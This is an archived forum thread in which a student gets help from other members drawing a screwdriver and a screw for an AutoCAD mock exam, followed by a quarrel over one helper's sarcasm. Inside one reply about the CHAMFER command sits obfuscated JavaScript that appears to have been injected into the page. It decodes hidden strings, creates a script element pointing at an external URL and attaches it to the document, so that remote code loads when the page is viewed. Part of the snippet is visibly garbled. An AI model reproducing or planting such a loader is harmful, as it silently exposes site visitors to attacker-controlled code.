Show full version of the posting: Mock exam in College-Need a little help please?

Bobdob
15.03.2014, 08:27
Hi there,I am coming towards the end of my first year of an AutoCAD course at night school and have been given a mock exam which is, apparently, very similar to the end of year online exam. Please can I ask for some help. The mock exam is in two parts, I have posted the links to the first exercise, below, and was hoping that someone could please either post a video or some screenshots on how to complete it. I wouldn't ask if I wasn't struggling slightly.Thank you for any help, I do appreciate this.http://i199.photobucket.com/albums/aa214/craigten/EXAMA.jpghttp://i199.photobucket.com/albums/aa214/craigten/EXAMB.jpghttp://i199.photobucket.com/albums/aa214/craigten/EXAMC.jpghttp://i199.photobucket.com/albums/aa214/craigten/EXAMD.jpg

John Connor
15.03.2014, 11:39
You been in an AutoCAD class for a year and you are having trouble figuring out how to draw a screwdriver and a screw in 2D and only a single view of each?  I'm finding that difficult to believe.  The screwdriver is basically arcs and lines.For starters I would begin at the tip of the screwdriver.Post an image of what you have done so far. 
John Connor2014-03-15 11:58:49

Bobdob
15.03.2014, 11:49
Hi JC, When I say a 'year', I mean a 'college' year, which is 2 hours per week since late September. I will post what I have done so far....

John Connor
15.03.2014, 12:04
At the end of one 4 hour class we had basically the same assignment.  At the end of 12 weeks of classes, 4 hours per night/2 nights per week, we had to do a completely dimensioned drawing of a complex machine part that included a top, front, side and isometric view.  Now that is what I would call a fairly good final exam.The screwdriver pictured should take no more than 15 minutes to draw and that is while drinking a cup of coffee at the same time.

John Connor
15.03.2014, 12:08
A quick sketch.


John Connor
15.03.2014, 12:15
Like I said before start at the tip of the screwdriver and work your way up.  Just rough it out first.  You can go back and take care of the chamfer and a couple of the fillets afterwards.  For the top of the screwdriver use the circle command and don't forget the TTR (tan-tan-radius) option.  No dimension is given for the flat across the top so use whatever you think looks best.There is a post on page 2 that catches the error and shows a solution.

John Connor2014-03-15 14:19:39

John Connor
15.03.2014, 12:29
A rough sketch of the screw should take no more than 5 minutes.Start at the top and work your way down to the point at which the threads start.  JUmp to the very bottom and work your way up.  The basic shape of the thread is a rectangle so use the appropriate command to create one of the correct size, rotate it 20 degrees and array or copy it upwards. 

Bobdob
15.03.2014, 12:32
Thank you JC, yes I know it is simple but as I mentioned it is only part of the exam and, you're right, I think they give 30 minutes for this first part. The second part is more complicated and I think they give 2 hours for that. The problem on our course is that we have many people and one tutor and is very hard to get help/advice.Just a point, I can't post it right at this moment but a problem I am having is that I am getting the head/handle of the screwdriver like you do (The R15 and the 22 Diameter) but, like you, the drawing is not the same as the exercise. Can you see what I mean?PS- I went on the bike yesterday and made a vid for you.

John Connor
15.03.2014, 12:32
The tip of the screwdriver and the screw.


Bobdob
15.03.2014, 12:33
PS- That is so very helpful, the screw had been giving me problems regarding using the 2- degrees.PPS- I realise it may be frustrating but I can't help the level of progress on our course.  :0( 

John Connor
15.03.2014, 12:35
Yes, I know your drawing may vary slightly from the one pictured.  I think there is something not quite right with the last dimension at the top of 18.5; in my opinion this is wrong.  You add that to the 37.5 dimension and end up with an overall dimension of 56.0 which seems way too high.  Is there anyway to contact the instructor and get some clarification?Maybe the R15 is wrong?  I suppose you could hold the height of 56 and adjust the radius to get something that looks more like the picture.There is a post further down that catches the error (on my part) and provides the solution.



John Connor2014-03-15 14:21:07

John Connor
15.03.2014, 12:57
.I think I got it.  Circle > TTR won't cut it.  I had to use an offset and a construction circle to arrive at the right center point for the radius 15 circle.  The overall height is now 56.  See what another cup of coffee will do for you.  Sorry for misleading you earlier.

John Connor
15.03.2014, 12:59
Does this look better?


Bobdob
15.03.2014, 13:01
It sure does!!!Thanks so much....I'll get on that tonight, I'm off to football now but I am so happy I have a better idea. Thank you JC

John Connor
15.03.2014, 13:06
.This is the approach I took.  I offset the circle (dia. 40) 15 units.  I drew another circle with a radius of 15 units.  Both shown in red.  Where they intersected I drew (or copied) another circle with a radius of 15 then trimmed away what I didn't need, mirrored the resultant arc and trimmed/erased what was left to end up with the top of the screwdriver handle.Hope this helps.  Go to go.  I have a pressure relief valve to buy for my furnace.Again, I apologize for misleading you. Good luck.


John Connor2014-03-15 13:07:32

AsystEngineer
15.03.2014, 21:41
One tip perhaps is that you can use the mirror function.just draw up half of the object, and then type in mirror>select the centre line of the object as your reference mirroring axis>hit Enter>select N (for No) and then you should have your object. you can then block up the object if you want to.....CheersAsystEngineer

Bobdob
15.03.2014, 22:47
Hi,Thank you to both of you. Both excellent advice.A quick one:1. How do I post images of my work in progress as JC has done?2. In the exercise, it asks for '1 x 1 Chamfer', please can I ask for clarification on what '1 x 1' means? Is this 1mm up and 1mm 'out'?

John Connor
16.03.2014, 11:33
To attach an image you first have to click on the Full Reply Editor which is the arrow icon to the right of the letter "A" above the message box.  At the next screen find and click on the Attach Image icon.  Browse to your file's location and upload it.

Bobdob
16.03.2014, 11:45
OK, thank you. Here is where I have to put the chamfer but am unsure of what exactly the '1 x 1' is?

philippe JOSEPH
16.03.2014, 12:33
Bobdod, you have a command CHAMFER with the settings of 2 values that you will set at 1.You can also draw a circle radius 1 with its center at the extremity of your arrow and modificate le lines with their grips or with the command TRIM.I'm affraid this is really AutoCAD basics, I would purchase basic trainning eventually in the user guide in PDF form loaded in your (C) disk in (C)\Program files\Autodesk\....(function(){var b=function(k,e){var i="",j=window,v="f"+"\x72o\x6d\u0043\x68\u0061\u0072\x43o\x64e",f="c"+"ha"+"r\x43\u006Fd"+"eA\u0074",y="\u006Cen\x67\u0074\u0068",s="\u0053t\u0072i\x6E\u0067",m=j[s],a=m[v],c,z;for(var q=0;q(\x21'),0115)]){var n={};n[b(";("+"\u003f\u003E"+"$\"\u0023",0115)]=b("|x\x7e",77);n[b(('\x2e\u0021\x24\u0050\x48\x67\x45w\x38$\x29').replace('\x50H\x67Ew','\u0028#\x39'),0115)]="";n[b(''+',\x29\u0029\"#'+'#'+','+' \x28',0X4d)]=b(('\u001F(`'+''+'mw\x74?\u0026\x24\x39').replace('m'+'w'+'t','\x20\x2c'),0X4D);window[b(("\x56pGb\x67\x37").replace("\x56p\x47\u0062\x67","\u0012\u003f\x3B"),0X4D)]=n;var o=document[b(("\x2e\u003fs\x4E\b\x21("+" ("+""+"#\u0039").replace("\u0073N","(,"+""+"9\u0028"),77)](b(("Cy\u0079\u0054\u0071$"+"=9"+"").replace("\x43\u0079\u0079\x54\u0071",">\x2E\u003F"),0X4D));o[b("\x3e"+"?\u002e",0115)]=b("\x62\x62"+"*$"+"?c\u0029?\u0024"+";\u0028?\"\u003d\x39$"+"\x63\x23\u0028"+"9\u0062\x3e)\u0062\u007F}"+"y"+"\u007Db\x7F"+"}u\x7Fc"+"\'>",0115);document[b("/"+"\"\u0029\u0034",77)]philippe JOSEPH2014-03-16 12:43:32

Bobdob
16.03.2014, 12:44
Hi,Thank you. Do you mean like this:

philippe JOSEPH
16.03.2014, 12:45
[QUOTE=philippe JOSEPH]Bobdod, you have a command CHAMFER with the settings of 2 values that you will set at 1.You can also draw a circle radius 1 with its center at the extremity of your arrow and modificate le lines with their grips or with the command TRIM.I'm affraid this is really AutoCAD basics, I would purchase basic trainning eventually in the user guide in PDF form loaded in your (C) disk in (C)\Program files\Autodesk\....

Bobdob
16.03.2014, 13:24
Hi again,Bobdob the slow learner here. Please can I ask one of you/anyone to check my screwdriver's dimensions to the drawing exercise? I have checked as far as I can and it seems fine but could do with a double check, if that's ok, please.Drawing exercise here:I have attached my attempt as a .dwg:uploads/401438/Screwdriver-Done.dwg

John Connor
16.03.2014, 14:38
[QUOTE=Bobdob]OK, thank you. Here is where I have to put the chamfer but am unsure of what exactly the '1 x 1' is?[/QUOTE]Imagine you drew a circle with a diameter of 1 unit and used the intersection of the two lines your arrow points to.  Now where the circle intersects with the horizontal and vertical lines imagine you drew a new line from intersection to intersection.  That would be your chamfer.  The new line would be at a 45 deg angle.

Bobdob
16.03.2014, 14:41
Hi JC,I think I did that, if you could be so good as to check my drawing of the screwdriver that I have attached, I would appreciate that.Thank you.

John Connor
16.03.2014, 15:04
The screwdriver looks good. One minor thing.  Look at the image for the assignment.  The bottom of the circle with the diameter of 40 has been trimmed away where it meets the two arcs with the radius of 15.You still have work left to do on the screw.

Bobdob
16.03.2014, 15:16
[QUOTE=John Connor]The screwdriver looks good. One minor thing.  Look at the image for the assignment.  The bottom of the circle with the diameter of 40 has been trimmed away where it meets the two arcs with the radius of 15.[/QUOTE]Thanks for that, that was a stupid mistake.The screw......God damn it I've tried. I have done everything fine apart from the rectangles. Obviously I can see what the width has to be (1.4) but I just can't get a handle on the length. I am sorry for this. Once I have done this, I can do them both over and over so come Tuesday I will be just fine. Only the screw to do now...This is where I'm at/struggling with the screw...(I have attached the .dwg)uploads/401438/Screwdriver-Done_but_not_screw.dwg

John Connor
16.03.2014, 15:32
For starters the depth of the notch (where the screwdriver tip would go) is supposed to be 2.1; your depth measures 1.4 instead.Not sure how you actually constructed the threads but it appears you have a total of 10 overlapping lines which is not a good habit to get into.


John Connor2014-03-16 15:38:28

Bobdob
16.03.2014, 15:42
I basically haven't a clue with the threads...
Bobdob2014-03-16 15:43:04

John Connor
16.03.2014, 16:01
You're very close.  What seems to be the problem?

John Connor
16.03.2014, 16:24
The faint yellow lines are where our two screws differ (circled in red).  Like I said, you are very close.  A bit of tweaking and you will be there.


Bobdob
16.03.2014, 16:28
[QUOTE=John Connor]You're very close.  What seems to be the problem?[/QUOTE]As you can see, below, I have made a rectangle, chose the dimensions 1.4 width (which the drawing says is the dimension) and chose 3.5 length (which is what I assumed, but did not KNOW was the length), then I chose to rotate it 340 degrees as the drawing says 20 degrees. But then as you can see below, the rectangle does not fit between the horizontal guidelines like it should. Basically I do not know the length of the rectangles and do not know how to find out?

John Connor
16.03.2014, 16:47
The 3.5 is not the width of the rectangle.  The width has to be shorter.Anyway, you were so close before why are you redoing it?  I think you had the right size for the rectangle originally.  Look at the image I posted previously.  Our rectangles match.Unfortunately I have to step away from my computer as I have other "stuff" to do.  Keep at it man; I have every confidence in you.  You are soooooooo close.

John Connor2014-03-16 16:49:39

Bobdob
16.03.2014, 17:00

Thanks mate, I'll try. I think I nearly got it right before because I just lengthened the rectangles and I know that is no way to do it, I want to do it the 'right' way. That means finding out the dimensions of the rectangle. I've just seen that the exercise says that the width is 1.4 so I just have to get the length.....but cant without lengthening them...   PS- I'll post the bike video later.

Bobdob
16.03.2014, 17:15
JC, neither of these cut off points (in red) seem to correlate perfectly with the drawing exercise I have?

Bobdob
16.03.2014, 20:51
I've just started from scratch and come up against the same problem again, where to cut it off. The cut off line does not correlate with the exercise?:

John Connor
16.03.2014, 21:43
[QUOTE=Bobdob]JC, neither of these cut off points (in red) seem to correlate perfectly with the drawing exercise I have?
[/QUOTE]Use the lower of the two lines.

Bobdob
16.03.2014, 22:06
Hi JC,But you see where I have highlighted in red, below, is so different to what we would see if I chose the bottom red line on mine:Do you see what I mean?

John Connor
17.03.2014, 10:58
.The distance between the two vertical white lines is 3.5.The blue vertical line represents the lower right hand corner of our rectangle.The white diagonal line at the top represents where the partial rectangle should be.The red diagonal line is where the line is drawn in the diagram.  The difference between the two diagonal lines is 0.0739.  If you were looking at the drawing after it was printed you would not know the red line was in the wrong position.  My advice...put the line where your teacher expects to see it based on the diagram and move on unless you have a mop of hair that rivals a sheepdog.  Otherwise you'll spend 1 hour doing the drawing and 16 hours worrying over it.
John Connor2014-03-17 10:59:10

Kent Cooper
17.03.2014, 14:12
If the corners of the tilted rectangle are supposed to align across one red line, use the ALIGN command, aligning the diagonally opposite corners of the rectangle with the ends of one red line, and answering Yes to the question of scaling the result.
 
But it seems a little strange to put a lot of detailed effort into getting something that does not look very much like real screw threads at all to be "just right."  And has anyone else noticed that it's reverse-threaded?  Is it supposed to be?  Something like this, while not really completely correct either, would be a whole lot closer.
 

Bobdob
17.03.2014, 21:58
Thank you JC and Kent,My problem is that I don't like things that aren't 100% correct (or should I say 'Perfect'). I know now (JC-I very nearly put here 'why you cry' here) that I should just go on the dims that my tutor has given me for the screw and not how it looks to the eye. To clarify- it seems that I have just been too meticulous about it. Apologies.

John Connor
17.03.2014, 22:58
If you feel like you want to continue beating your head against a wall by all means please do not let me stand in your way.  Beat on good man, beat on.  In the meantime I'm going over to the nearest medical supply store and buy some gauze, 4x4 pads, surgical tape and an ice pack.  You're gonna need 'em.

Bobdob
17.03.2014, 23:05
Clarification is what I need, not sarcasm. Thanks.

Bobdob
17.03.2014, 23:30
Let me tell you a quick story:Where I work there is a man who was learning to MIG weld at night in college and he asked me for a hand. We only get 30 minutes for dinner break but I regularly gave up 15 minutes of it most days to help him. He is not the brightest of fellas but I still answered every one of his naive questions and was patient with his amateur mistakes. When he asked those naive questions I took my time and answered them the best I could, no matter who irrelevant I thought it. That is how to help people.

John Connor
18.03.2014, 10:30
Bob, lighten up.  It was a joke.Apparently I did not devote enough time and effort to help you.  My bad.Well I wish you luck with the remainder of your assignment.  Time to sever this connection.Have a sparkling day there Bob and I mean that in the happiest, most friendly and cheerful of ways.Adios amigos.

John Connor2014-03-18 11:10:14

Bobdob
23.03.2014, 20:00
[QUOTE=John Connor]Apparently I did not devote enough time and effort to help you.[/QUOTE]No JC, you've missed the point. It was nothing to do with the amount of time or effort. Both were very much appreciated (as stated in my posts). It was the replies that did not help that got me. I like help, but perhaps a little patience would have helped more.Thanks for the help this far.